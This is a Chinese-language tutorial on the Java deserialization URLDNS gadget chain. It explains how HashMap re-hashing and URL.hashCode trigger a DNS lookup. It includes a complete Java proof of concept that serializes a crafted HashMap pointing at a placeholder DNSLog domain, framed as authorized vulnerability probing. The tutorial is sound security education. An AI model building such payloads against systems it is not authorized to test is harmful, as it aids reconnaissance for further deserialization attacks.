Java反序列化漏洞利用链:URLDNS链深度剖析教学文档
1. 概述
URLDNS链是Java反序列化漏洞中一个非常经典且常用的利用链。它并非用于直接执行代码,而是作为一个**“验证型”的POC(概念证明)。其主要作用是验证目标应用是否存在Java反序列化漏洞**,通过触发一次DNS查询请求来确认漏洞存在。
核心价值:
- 可靠性高:该链仅依赖于Java核心库中的类(
HashMap、URL),存在于绝大多数Java环境中,兼容性极佳。 - 无害探测:不执行任何恶意代码,仅产生DNS查询记录,对目标服务影响小,适合在授权测试中使用。
2. 利用链核心构成(Gadget Chain)
整个利用链的调用过程非常简洁,始于反序列化入口点readObject,终于DNS查询。
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress() -> InetAddress.getByName() [触发DNS查询]
3. 关键知识点深度解析
3.1 为何选择HashMap作为入口?
在Java反序列化过程中,反序列化器会调用对象的readObject()方法来完成对象的重建。java.util.HashMap类重写了readObject方法。在其反序列化逻辑中,有一个关键操作:它会读取序列化数据中存储的所有键值对(key-value pairs),并为了重建哈希表,会重新计算每个键(Key)的哈希值(Hash Code)。
// 在HashMap.readObject(ObjectInputStream s)方法中的关键循环
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject(); // 反序列化出Key对象
V value = (V) s.readObject(); // 反序列化出Value对象
putVal(hash(key), key, value, false, false); // 重新计算哈希并放入表
}
结论:如果我们能让一个HashMap的Key是一个特殊的对象,并且在计算该对象的哈希值时能触发DNS请求,那么当这个HashMap被反序列化时,DNS请求就会被触发。
3.2 URL对象如何触发DNS请求?
逻辑链条的终点落在java.net.URL类上。关键在于其hashCode()方法。
// URL类的hashCode方法
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode; // 如果已经计算过哈希,直接返回缓存值
// 如果是第一次计算(或哈希值被重置为-1),则调用handler的hashCode方法
hashCode = handler.hashCode(this);
return hashCode;
}
hashCode变量是URL类的一个私有成员(private int hashCode = -1;),用于缓存计算过的哈希值,避免重复计算。- 当
hashCode等于-1时,程序会执行handler.hashCode(this)。
接下来,我们看URLStreamHandler.hashCode(URL u)方法:
protected int hashCode(URL u) {
int h = 0;
// ... 生成协议、端口等部分的哈希 ...
// 关键步骤:生成主机部分的哈希
InetAddress addr = getHostAddress(u); // 这行代码会触发DNS解析!
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// ... 生成其他部分的哈希 ...
return h;
}
getHostAddress(URL u)方法会调用InetAddress.getByName(host)来根据主机名获取IP地址,这个过程必然会产生DNS查询。
结论:只要能让一个URL对象的hashCode方法被调用,并且其内部的hashCode字段值为-1,就会触发对其主机名的DNS解析。
3.3 核心矛盾与解决方案:避免在序列化时触发DNS
这里出现了一个关键问题:如果我们简单地创建一个HashMap并put一个URL对象,那么在put操作时,HashMap就会调用URL的hashCode()方法,DNS查询会立即在序列化阶段(即构造POC的阶段)发生,而不是在反序列化阶段。这不符合我们的目的。
解决方案:利用Java反射机制,在put操作前,临时修改URL对象的hashCode值。
- 初始状态:
URL对象的hashCode默认为-1。 - 序列化前干预:使用反射,将
url对象的hashCode字段设置为一个非-1的值(例如123)。 - 执行put操作:此时调用
map.put(url, ...),HashMap计算哈希hash(key)时会调用url.hashCode()。因为hashCode不再是-1,方法会直接返回123,而不会执行handler.hashCode(this),因此不会触发DNS。 - 恢复状态:在
put操作之后,再次使用反射将url对象的hashCode字段改回-1。这样,在序列化时,URL对象存储的hashCode值就是-1。
3.4 反序列化时的完美触发
经过上述步骤,我们序列化了一个特殊的HashMap:
- 它的
Key是一个URL对象。 - 该
URL对象的hashCode字段值为-1。 URL类中的handler字段被transient关键字修饰,意味着它不会被序列化。
当这个HashMap被反序列化时:
HashMap的readObject方法被调用。- 它读取到
Key(即URL对象)。由于handler字段是transient的,反序列化后url.handler为null? 这里是一个常见的误解点。实际上,URL类有一个特殊的readObject方法,它在反序列化时会调用getURLStreamHandler(protocol)来根据协议(如http)重新初始化handler。所以,handler在反序列化后是可用状态。 HashMap为了重建内部结构,调用hash(key)来计算URL的哈希值。- 进入
URL.hashCode()方法,此时hashCode字段的值是我们序列化时存储的-1。 - 程序执行
handler.hashCode(this),进而调用getHostAddress(u),最终触发DNS查询。
注意:正是因为我们在序列化阶段通过反射干预,避免了提前触发DNS,并保证了hashCode在序列化时为-1,才使得漏洞利用的触发点精准地发生在目标反序列化我们的输入流时。
4. 完整POC代码与逐行分析
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
// 1. 创建用于接收反序列化数据的HashMap
HashMap map = new HashMap();
// 2. 指定一个DNSLog平台提供的域名,用于观察请求记录
URL url = new URL("http://your-subdomain.dnslog.cn/");
// 3. 使用反射修改URL对象的hashCode,避免put时触发DNS
Class<? extends URL> clazz = url.getClass();
Field hashCodeField = clazz.getDeclaredField("hashCode");
hashCodeField.setAccessible(true); // 突破私有限制
// 4. 将hashCode设置为非-1的值(如123)
hashCodeField.set(url, 123);
// 5. 将URL作为Key放入HashMap。此时hashCode=123,不会触发DNS
map.put(url, "2333");
// 6. 关键步骤:将hashCode改回-1,确保反序列化时能触发
hashCodeField.set(url, -1);
// 7. 序列化操作:将构造好的HashMap写入文件
try (FileOutputStream fileOut = new FileOutputStream("./urldns.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(map);
System.out.println("序列化数据已写入 urldns.ser");
}
// 8. 反序列化操作:模拟漏洞点读取恶意序列化数据
try (FileInputStream fileIn = new FileInputStream("./urldns.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)) {
// 这行代码会触发整个利用链,向DNSLog平台发送查询请求
in.readObject();
System.out.println("反序列化完成,请检查DNSLog记录。");
}
}
}
5. 总结
URLDNS链是一个理解Java反序列化漏洞的绝佳入门案例,它清晰地展示了以下重要原理:
- 入口点寻找:寻找重写了
readObject方法且逻辑中存在“危险操作”的类(如HashMap的重新哈希)。 - 利用链构造:通过一系列的方法调用(Gadget Chain),将反序列化入口点与最终的危险函数(如网络请求、代码执行)连接起来。
- 动态行为控制:利用反射等机制,精确控制对象在序列化和反序列化两个不同阶段的状态,确保漏洞利用在预期时刻触发。
- 无害化验证:在渗透测试中,优先使用这种低破坏性的方式验证漏洞存在,再考虑进一步的利用。
通过深入剖析URLDNS链,可以为学习更复杂、危害更大的反序列化利用链(如Commons Collections, Fastjson等)打下坚实的基础。